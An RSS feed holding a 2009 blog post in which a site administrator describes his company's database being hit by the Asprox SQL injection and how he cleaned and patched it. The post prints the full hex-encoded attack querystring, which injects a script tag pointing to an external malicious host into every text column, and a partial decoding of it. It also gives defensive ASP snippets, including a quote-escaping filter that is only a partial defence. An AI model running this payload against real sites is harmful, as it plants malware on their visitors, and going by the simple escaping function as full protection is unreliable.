<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>leinadium &#187; sql injection</title>
	<atom:link href="http://www.leinadium.com/tag/sql-injection/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.leinadium.com</link>
	<description>Techhead. Codewarrior. Legalnerd.</description>
	<lastBuildDate>Fri, 02 Sep 2011 20:09:28 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>Fast-flux botnet! Asprox! SQL Injection! oh no!</title>
		<link>http://www.leinadium.com/security/fast-flux-botnet-asprox-sql-injection-oh-no/</link>
		<comments>http://www.leinadium.com/security/fast-flux-botnet-asprox-sql-injection-oh-no/#comments</comments>
		<pubDate>Fri, 23 Jan 2009 11:03:55 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[security]]></category>
		<category><![CDATA[asp]]></category>
		<category><![CDATA[iis]]></category>
		<category><![CDATA[sql injection]]></category>

		<guid isPermaLink="false">http://217.11.59.22/leinadium/?p=36</guid>
		<description><![CDATA[No, it&#8217;s not from &#8220;back to the future&#8221;. But it might make you rip your hair out and you&#8217;ll end up looking like the Doc. Here&#8217;s an introduction of what they are: http://blogs.zdnet.com/security/?p=1122 and some evidence of people scrambling on how to protect their servers: http://www.experts-exchange.com/Security/Vulnerabilities/Q_23408074.html This morning I got a frantic call from headoffice [...]]]></description>
			<content:encoded><![CDATA[<p>No, it&#8217;s not from &#8220;back to the future&#8221;. But it might make you rip your hair out and you&#8217;ll end up looking like the Doc.</p>
<p>Here&#8217;s an introduction of what they are: http://blogs.zdnet.com/security/?p=1122<br />
and some evidence of people scrambling on how to protect their servers: http://www.experts-exchange.com/Security/Vulnerabilities/Q_23408074.html</p>
<p>This morning I got a frantic call from headoffice telling me that we&#8217;ve been hacked and that the database is filled with Javascript strings pointing to www.banner82.com/b.js. Both banner82.com and banner82.org are referenced in the scripts.</p>
<p>Here&#8217;s the querystring that was (and is still) being tried against all variables of our application:<br />
<code><br />
DECLARE%20@S%20 VARCHAR(4000);SET%20@S=CAST(0x4445434C41524520405420564152434841522832 3535292C40432056415243484152283235352920444 5434C415245205461626C655F437572736F72204355 52534F5220464F522053454C45435420612E6E616D6 52C622E6E616D652046524F4D207379736F626A6563 747320612C737973636F6C756D6E732062205748455 24520612E69643D622E696420414E4420612E787479 70653D27752720414E442028622E78747970653D393 9204F5220622E78747970653D3335204F5220622E78 747970653D323331204F5220622E78747970653D313 63729204F50454E205461626C655F437572736F7220 4645544348204E4558542046524F4D205461626C655 F437572736F7220494E544F2040542C404320574849 4C4528404046455443485F5354415455533D3029204 24547494E20455845432827555044415445205B272B4 0542B275D20534554205B272B40432B275D3D525452 494D28434F4E5645525428564152434841522834303 030292C5B272B40432B275D29292B27273C736372697 074207372633D687474703A2F2F7777772E62616E6E 657238322E636F6D2F622E6A733E3C2F736372697074 3E27272729204645544348204E4558542046524F4D205461626C<br />
655F437572736F7220494E544F2040542C404320454E 4420434C4F5345205461626C655F437572736F722044 45414C4C4F43415445205461626C655F437572736F722</code></p>
<p><code>0%20AS%20VARCHAR(4000));EXEC(@S);--<br />
</code><br />
which translates to the following sql statements:<br />
<code><br />
DECLARE<br />
@T VARCHAR(255),<br />
@C VARCHAR(255)<br />
DECLARE<br />
Table_Cursor<br />
CURSOR FOR<br />
SELECT<br />
a.name,b.name<br />
FROM<br />
sysobjects a,syscolumns b<br />
WHERE<br />
a.id=b.id AND<br />
a.xtype='u' AND<br />
(b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)<br />
OPEN<br />
Table_Cursor<br />
FETCH NEXT FROM<br />
Table_Cursor<br />
INTO @T,@C<br />
WHILE(@@FETCH_STATUS=0)<br />
BEGIN<br />
EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''''')<br />
FETCH NEXT FROM Table_Cursor<br />
INTO @T,@C<br />
END<br />
CLOSE Table_Cursor<br />
DEALLOCATE Table_Cursor<br />
</code>(courtesy of http://pastebin.com/d73dda647)</p>
<p>So we got hit. Here&#8217;s what we did and what you can do to protect your servers.</p>
<p>Step 1. Take down the site.<br />
Step 2. Clean the database<br />
Step 3. Patch the .asp pages to look for possible injection attacks.<br />
Step 4. Bring the site back up and monitor it.</p>
<p>Here are some tips:<br />
1. Taking down the site is quickly done in IIS, but it&#8217;s worthwhile to redirect to a page that tells users that you&#8217;ll be back up shortly.<br />
2. To clean the database I used 2 stored procedures. The reason that there are 2 is that SQL Server 2000 needs some extra tweaking when it comes to ntext fields.<br />
2a. The first stored procedure was taken from this site: http://vyaskn.tripod.com/sql_server_search_and_replace.htm.<br />
I had to customize the stored prcedure a bit, but<span style="font-family: verdana; font-size: 85%;"><span style="font-family: verdana; font-size: 85%;"> Vyas has written a great stored procedure that gets us halfway there.2b. <span style="font-family: verdana; font-size: 85%;"><span style="font-family: verdana; font-size: 85%;">Now we just have ntext fields left that contain the javascript tags. Ntext fields are more difficult to work with, as you can&#8217;t use the replace function. Instead, we use the Updatetext function.<br />
To do this, I customized the stored procedure found on http://sqlserver2000.databases.aspfaq.com/how-do-i-handle-replace-within-an-ntext-column-in-sql-server.html<br />
at aspfaq.com<br />
This stored procedure will replace one string with another in ntext fields. Even though this wasn&#8217;t strictly necessary (as you can see above, the ntext fields were cut down to 4000 character fields in the attack), I decided to find out how to replace strings in ntext fields.3. Patching the pages: To do so, you can either parameterize all your query variables into stored procedures (or cmd objects), or you can write your own asp function to strip all inputs before they are sent to the database in dynamic queries.<br />
We chose to go the route of writing our own asp function.</p>
<p>You can use something as simple as:</p>
<p>FUNCTION ChkString(string)<br />
IF string = &#8220;&#8221; THEN<br />
string = &#8221; &#8221;<br />
END IF<br />
ChkString = Replace(string, &#8220;&#8216;&#8221;, &#8220;&#8221;&#8221;)<br />
END FUNCTION</p>
<p>which will only make sure that all apostrophes are escaped. To make a more advanced function, you can add the Server.HTMLEncode function, and any regular expressions or replacing functions to filter out any offending characters. Just search for XSS vulnerability to get more information on this.</p>
<p>Of importance here is to make sure that all numeric values that go to the database are first enclosed in the CLNG conversion function. This will throw an error anytime an input contains a non-numeric string instead of the number you&#8217;re expecting. You can use this error to monitor how attacks on your site are made by specifying a custom asp error page in IIS.</p>
<p>The custom error page can be called asperror.asp and contain the following:</p>
<p>sub geterror<br />
&#8216; gather details about the error from the ASPError object<br />
&#8216; get the last error that occurred!<br />
set objasperror = server.getlasterror<br />
&#8216; go through the properties and get whatever you need&#8230;<br />
With objasperror<br />
code = .aspcode<br />
num = .number<br />
src = .source<br />
cat = .category<br />
file = .file<br />
line = .line<br />
column = .column<br />
desc = .description<br />
adesc = .aspdescription<br />
end With</p>
<p>&#8216; free ASPError object<br />
set objasperror = nothing</p>
<p>&#8216;sendmail<br />
Sendmail &#8220;info@mail.com&#8221;, &#8220;info@mail.com&#8221; &#8220;asperror&#8221;, &#8220;Code: &#8221; &amp; code &amp; VbCrLf &amp; &#8220;Num: &#8221; &amp; num &amp; VbCrLf &amp; &#8220;src: &#8221; &amp; src &amp; vbCrLf &amp; &#8220;cat: &#8221; &amp; cat &amp; VbCrLf &amp; &#8220;File: &#8221; &amp; file &amp; VbCrLf &amp; &#8220;line: &#8221; &amp; line &amp; VbCrLf &amp; &#8220;Column: &#8221; &amp; column &amp; VbCrLf &amp; &#8220;Desc: &#8221; &amp; desc &amp; VbCRLf &amp; &#8220;ASPDesc: &#8221; &amp; adesc &amp; VbCrLf &amp; &#8220;QueryString:&#8221; &amp; Request.QueryString() &amp; VbCrLf &amp; Request.Form() &amp; VbCrLf &amp; &#8220;Referer: &#8221; &amp; Request.ServerVariables(&#8220;HTTP_Referer&#8221;) &amp; &#8221; &#8221; &amp; Request.ServerVariables(&#8220;REMOTE_ADDR&#8221;)</p>
<p>END SUB</p>
<p>This kind of function will keep you up-to-date on how and who is trying to attack your server.</p>
<p>4. Last but not least: Avoid this kind of attack all together. With an ISAPI component like ISAPI Rewrite by Helicon, you state something like:<br />
Rewriterule .*DECLAREs.* http://www.mysite.com/block.asp [I,R]<br />
which will make sure that all these attempts are redirected.</p>
<p></span></span></p>
<p></span></span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.leinadium.com/security/fast-flux-botnet-asprox-sql-injection-oh-no/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

